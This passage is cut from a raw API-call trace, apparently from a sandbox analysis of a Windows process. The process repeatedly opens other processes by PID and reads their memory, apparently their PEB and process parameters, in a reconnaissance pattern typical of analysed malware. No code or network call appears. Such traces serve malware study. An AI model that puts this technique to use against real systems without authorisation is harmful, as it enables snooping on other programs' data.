_ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0353.550] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x184) returned 0xa9c [0353.550] GetLastError () returned 0x0 [0353.550] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0353.550] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x28d018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0353.551] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0353.551] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d70, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0353.551] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039a8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0353.551] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0353.551] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0353.551] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x28d020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0353.551] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403360, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0353.552] malloc (_Size=0x8a) returned 0xec7a20 [0353.552] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039e8, lpBuffer=0xec7a20, nSize=0x88, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec7a20*, lpNumberOfBytesRead=0x0) returned 1 [0353.604] free (_Block=0xec7a20) [0353.604] CloseHandle (hObject=0xa9c) returned 1 [0353.604] _ui64tow_s (in: _Value=0x204, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="516") returned 0x0 [0353.605] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="516") returned 3 [0353.605] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0353.605] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0353.605] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x204) returned 0xa9c [0353.606] GetLastError () returned 0x0 [0353.606] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0353.606] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c3018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0353.606] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0353.606] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403cf0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0353.606] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403928, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0353.606] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0353.606] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0353.607] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c3020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0353.607] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4032e0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0353.607] malloc (_Size=0x88) returned 0xe87670 [0353.607] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403968, lpBuffer=0xe87670, nSize=0x86, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe87670*, lpNumberOfBytesRead=0x0) returned 1 [0353.607] free (_Block=0xe87670) [0353.607] CloseHandle (hObject=0xa9c) returned 1 [0353.608] _ui64tow_s (in: _Value=0x404, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1028") returned 0x0 [0353.608] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1028") returned 4 [0353.608] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0353.608] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0353.609] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x404) returned 0xa9c [0353.609] GetLastError () returned 0x0 [0353.609] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0353.609] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x291018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0353.609] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0353.609] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d50, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0353.609] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039a8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0353.610] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0353.610] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0353.610] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x291020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0353.610] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403360, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0353.610] malloc (_Size=0x68) returned 0xeb6230 [0353.610] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039e8, lpBuffer=0xeb6230, nSize=0x66, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6230*, lpNumberOfBytesRead=0x0) returned 1 [0353.611] free (_Block=0xeb6230) [0353.611] CloseHandle (hObject=0xa9c) returned 1 [0353.611] _ui64tow_s (in: _Value=0x4e4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1252") returned 0x0 [0353.611] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1252") returned 4 [0353.611] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0353.611] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0353.612] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x4e4) returned 0xa9c [0353.612] GetLastError () returned 0x0 [0353.612] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0353.612] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x36c018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0353.612] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0353.613] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d60, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0353.613] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039b8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0353.613] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0353.613] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0353.613] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x36c020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0353.613] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403370, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0353.613] malloc (_Size=0x6c) returned 0xea96a0 [0353.613] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039f8, lpBuffer=0xea96a0, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea96a0*, lpNumberOfBytesRead=0x0) returned 1 [0353.614] free (_Block=0xea96a0) [0353.614] CloseHandle (hObject=0xa9c) returned 1 [0353.614] _ui64tow_s (in: _Value=0x564, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1380") returned 0x0 [0353.615] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1380") returned 4 [0353.615] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0353.615] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0353.619] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x564) returned 0x0 [0353.619] CloseHandle (hObject=0x0) returned 0 [0353.619] _ui64tow_s (in: _Value=0x5f4, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1524") returned 0x0 [0353.620] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1524") returned 4 [0353.620] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0353.620] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0353.620] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x5f4) returned 0xa9c [0353.620] GetLastError () returned 0x0 [0353.620] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0353.621] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x285018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0353.621] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0353.621] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d70, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0353.621] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039a8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0353.621] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0353.621] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0353.621] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x285020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0353.622] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403360, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0353.622] malloc (_Size=0x8a) returned 0xec7c00 [0353.622] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039e8, lpBuffer=0xec7c00, nSize=0x88, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec7c00*, lpNumberOfBytesRead=0x0) returned 1 [0353.622] free (_Block=0xec7c00) [0353.622] CloseHandle (hObject=0xa9c) returned 1 [0353.622] _ui64tow_s (in: _Value=0x644, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1604") returned 0x0 [0353.623] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1604") returned 4 [0353.623] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0353.623] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0353.624] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x644) returned 0xa9c [0353.624] GetLastError () returned 0x0 [0353.624] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0353.624] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x25c018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0353.624] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0353.624] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d70, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0353.624] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039a8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0353.624] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0353.625] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0353.625] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x25c020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0353.625] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403360, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0353.625] malloc (_Size=0x8a) returned 0xec6f80 [0353.625] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039e8, lpBuffer=0xec6f80, nSize=0x88, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec6f80*, lpNumberOfBytesRead=0x0) returned 1 [0353.625] free (_Block=0xec6f80) [0353.625] CloseHandle (hObject=0xa9c) returned 1 [0353.626] _ui64tow_s (in: _Value=0x650, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1616") returned 0x0 [0353.626] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1616") returned 4 [0353.626] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0353.626] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0353.627] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x650) returned 0xa9c [0353.627] GetLastError () returned 0x0 [0353.627] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0353.627] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x380018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0353.627] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0353.627] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403d70, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0353.627] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039a8, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0353.627] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0353.628] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0353.628] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x380020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0353.628] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403360, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0353.628] malloc (_Size=0x8a) returned 0xec7b60 [0353.628] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039e8, lpBuffer=0xec7b60, nSize=0x88, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec7b60*, lpNumberOfBytesRead=0x0) returned 1 [0353.628] free (_Block=0xec7b60) [0353.628] CloseHandle (hObject=0xa9c) returned 1 [0353.629] _ui64tow_s (in: _Value=0x674, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="1652") returned 0x0 [0353.629] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="1652") returned 4 [0353.629] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0353.629] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0353.638] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x674) returned 0xa9c [0353.638] GetLastError () returned 0x0 [0353.639] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0353.639] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x306018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0353.639] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0353.639] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403cc0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0353.639] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403928, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0353.640] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0353.640] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0353.641] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x306020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0353.641] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4032e0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0353.641] malloc (_Size=0x60) returned 0xeb6770 [0353.641] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403968, lpBuffer=0xeb6770, nSize=0x5e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xeb6770*, lpNumberOfBytesRead=0x0) returned 1 [0353.642] free 